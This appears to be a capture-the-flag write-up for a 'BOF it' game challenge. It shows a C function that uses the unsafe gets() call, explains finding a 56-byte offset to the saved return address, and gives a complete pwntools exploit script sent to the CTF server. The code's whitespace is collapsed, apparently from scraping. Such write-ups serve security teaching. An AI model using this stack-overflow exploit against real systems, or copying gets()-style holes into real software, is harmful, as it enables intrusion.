intplay_game(){char c;char input[20];int choice;bool correct =true;int score =0;srand(time(0));while(correct){ choice =rand()%4;switch(choice){case0:printf("BOF it!\n"); c =getchar();if(c !='B') correct =false;while((c =getchar()) !='\n'&& c != EOF);break;case1:printf("Pull it!\n"); c =getchar();if(c !='P') correct =false;while((c =getchar()) !='\n'&& c != EOF);break;case2:printf("Twist it!\n"); c =getchar();if(c !='T') correct =false;while((c =getchar()) !='\n'&& c != EOF);break;case3:printf("Shout it!\n");gets(input);if(strlen(input) <10) correct =false;break; } score++; }return score;}
In the above function, all the cases are implemented safely with c = getchar(); except for "Shout it!", which uses gets(). gets() does not check the input length and is prone to buffer overflows.
We can play the game until "Shout it!" appears and pass in the output of msf-pattern_create -l 1000 as the input. When the game ends and the function returns, the app crashes and we can see the saved RIP value.
We know the offset is 56.
We have the info we need to craft our payload! The only trick here is to implement some logic to "play the game" until "Shout it!" is used. After sending our payload and overwriting the RIP, we need to give a "wrong" input so that the function returns.
from pwn import*ret =0x00401256offset =56payload =b""payload +=b"A"* offsetpayload +=p32(ret)print(payload)conn =remote('umbccd.io', 4100)conn.recvuntil('BOF it to start!')line = conn.recvline()whileb'Shout it!'notin line: line = line.decode() conn.send(line) line = conn.recvline()conn.send(payload +b"\n")conn.recvline()conn.send(b"A"+b"\n")print(conn.recv())conn.close()